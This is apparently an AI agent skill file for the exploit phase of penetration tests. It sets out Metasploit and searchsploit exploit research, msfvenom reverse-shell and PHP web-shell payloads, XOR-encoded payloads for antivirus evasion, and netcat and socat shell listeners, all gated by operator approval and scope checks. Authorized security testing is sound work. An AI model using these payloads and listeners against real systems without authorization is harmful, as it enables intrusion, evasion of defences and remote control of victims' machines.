exploit-dev

name	exploit-dev
description	Exploit research, proof-of-concept development, controlled exploitation, and initial access verification for penetration testing engagements. Use this skill whenever the user mentions exploit development, PoC creation, Metasploit module execution, searchsploit, payload generation, msfvenom, exploit testing, vulnerability exploitation, initial access, shell access, reverse shell, bind shell, exploit chain, privilege escalation exploits, buffer overflow, web shell upload, or "can we exploit this finding". Also trigger for: ExploitDB search, Metasploit framework usage, custom exploit writing, payload encoding, exploit adaptation, weaponization, or any request to move from identified vulnerability to confirmed access. This is phase three of a pentest — trigger after vuln-analysis confirms exploitable findings, or standalone when the operator has a specific CVE. CRITICAL: All exploitation requires human approval before execution. The AI prepares commands and payloads but the operator confirms each run.
compatibility	{"tools":["bash","python"],"mcps":["desktop-commander","hexstrike"],"skills":["vuln-analysis","post-exploit","ai-agent-orchestration"]}

ExploitDev Skill

Overview

Researches and prepares exploits for confirmed vulnerabilities, generates payloads, and assists with controlled exploitation under operator supervision. This skill PREPARES exploit commands — the operator EXECUTES them. Produces exploitation evidence for reporting and hands off to post-exploit for post-exploitation activities.

⚠️ Critical Safety Rules

1. NEVER auto-execute exploits — present commands for operator approval
2. NEVER exploit out-of-scope targets — verify scope before every action
3. NEVER deploy persistent backdoors without explicit engagement scope
4. ALWAYS log every exploitation attempt with timestamp and result
5. STOP immediately if unexpected access is gained to out-of-scope systems

Prerequisites

• Confirmed vulnerability from vuln-analysis (P0 or P1 finding)
• Operator has reviewed and approved exploitation of this specific finding
• Kali tools: metasploit-framework, searchsploit, msfvenom, netcat, socat
• Working directory: /tmp/pentest/{target}/exploits/

Core Instructions

Step 1 — Exploit Research

Given a confirmed vulnerability (CVE or finding ID):

# Search ExploitDB
searchsploit {product} {version} --json
searchsploit -m {edb_id}  # Mirror exploit to current directory

# Search Metasploit modules
msfconsole -q -x "search {cve_id}; exit"
msfconsole -q -x "search type:exploit {product}; exit"

# Check PoC databases
# Provide operator with GitHub PoC search: github.com/search?q={cve_id}+poc

Step 2 — Exploit Selection and Preparation

Evaluate available exploits by:

• Reliability: Rank ExploitDB verification, MSF rank (excellent/great/good)
• Stealth: Prefer exploits that minimize forensic footprint
• Impact: Match exploit to engagement goals (access only vs. full compromise)

For Metasploit modules, prepare the resource script:

# Generate resource script (DO NOT auto-run)
cat > /tmp/pentest/{target}/exploits/{finding_id}.rc << 'EOF'
use {module_path}
set RHOSTS {target_ip}
set RPORT {target_port}
set LHOST {attacker_ip}
set LPORT {listener_port}
set PAYLOAD {payload_name}
# Operator: review settings above, then type 'exploit' to execute
EOF

echo "Resource script ready: /tmp/pentest/{target}/exploits/{finding_id}.rc"
echo "Operator: review and run with: msfconsole -r {finding_id}.rc"

Step 3 — Payload Generation (if custom payload needed)

# Reverse shell payloads (present options to operator)
# Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST={attacker_ip} LPORT={port} -f elf \
  -o /tmp/pentest/{target}/exploits/payload_linux

# Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={attacker_ip} LPORT={port} \
  -f exe -o /tmp/pentest/{target}/exploits/payload.exe

# Web shells (PHP)
msfvenom -p php/reverse_php LHOST={attacker_ip} LPORT={port} \
  -f raw -o /tmp/pentest/{target}/exploits/shell.php

# Encoded payloads (AV evasion for authorized engagements)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={attacker_ip} LPORT={port} \
  -e x64/xor_dynamic -i 3 -f exe -o /tmp/pentest/{target}/exploits/payload_enc.exe

Present all payload options to operator for selection. Do not auto-deploy.

Step 4 — Listener Setup

# Netcat listener
nc -lvnp {port}

# Metasploit handler
msfconsole -q -x "use exploit/multi/handler; \
  set PAYLOAD {payload}; set LHOST {ip}; set LPORT {port}; exploit -j"

# Socat (encrypted)
socat OPENSSL-LISTEN:{port},cert=server.pem,verify=0 EXEC:/bin/bash

Step 5 — Exploitation Execution (OPERATOR ONLY)

The AI provides:

1. Complete command sequence
2. Expected output description
3. Success/failure indicators
4. Rollback steps if something goes wrong

Template for operator handoff:

═══════════════════════════════════════════
EXPLOITATION READY — AWAITING OPERATOR GO
═══════════════════════════════════════════
Finding:     {finding_id} — {title}
Target:      {target_ip}:{port}
CVE:         {cve_id}
Module:      {msf_module or custom}
Payload:     {payload_type}
Listener:    {attacker_ip}:{listener_port}

EXECUTE:
  Step 1: Start listener — {listener_command}
  Step 2: Run exploit  — {exploit_command}

EXPECTED:
  Success = {success_indicator}
  Failure = {failure_indicator}

ROLLBACK:
  {rollback_steps}
═══════════════════════════════════════════

Step 6 — Evidence Collection

After successful exploitation (confirmed by operator):

# Screenshot / proof
# Capture: whoami, hostname, ifconfig/ipconfig, id, pwd

# Save session evidence
echo "$(date -u) | Exploitation successful | ${finding_id} | ${target}" \
  >> /tmp/pentest/{target}/exploitation_log.txt

HexStrike MCP Integration

Tool: exploit_search
Args: { "query": "{product} {version}" }
Returns: { output: "searchsploit JSON results" }

Tool: msf_run (requires operator approval gate)
Args: { "module": "{path}", "options": { "RHOSTS": "...", "PAYLOAD": "..." } }
Returns: { status: "awaiting_approval", resource_script: "{path}" }

Output Format

{
  "finding_id": "VULN-001",
  "target": "blog.example.com",
  "cve": "CVE-2024-XXXXX",
  "exploit_used": "exploit/unix/webapp/wp_plugin_x_rce",
  "payload": "php/reverse_php",
  "execution_status": "success",
  "access_gained": {
    "type": "reverse_shell",
    "user": "www-data",
    "hostname": "web01",
    "os": "Ubuntu 22.04",
    "initial_access_time": "2026-03-17T14:30:00Z"
  },
  "evidence": {
    "screenshots": ["/tmp/pentest/example.com/exploits/proof_001.png"],
    "session_log": "/tmp/pentest/example.com/exploits/session_001.log"
  },
  "next_step": "post-exploit"
}

Handoff to Next Skill

On successful exploitation, pass to post-exploit:

{
  "skill": "PostExploit",
  "params": {
    "session_type": "reverse_shell",
    "access_level": "www-data",
    "target_host": "web01",
    "target_ip": "10.0.0.5",
    "engagement_scope": "{scope_definition}",
    "exploit_evidence": "{path_to_exploit_json}"
  }
}

Output Checklist

• Exploit research completed (ExploitDB + Metasploit + GitHub PoC)
• Exploit selected based on reliability/stealth/impact
• Payload generated and saved to /tmp/pentest/{target}/exploits/
• Resource script or command sequence prepared for operator
• Operator approval obtained before any execution
• Exploitation evidence captured (whoami, hostname, screenshots)
• All attempts logged to exploitation_log.txt
• Handoff data prepared for post-exploit skill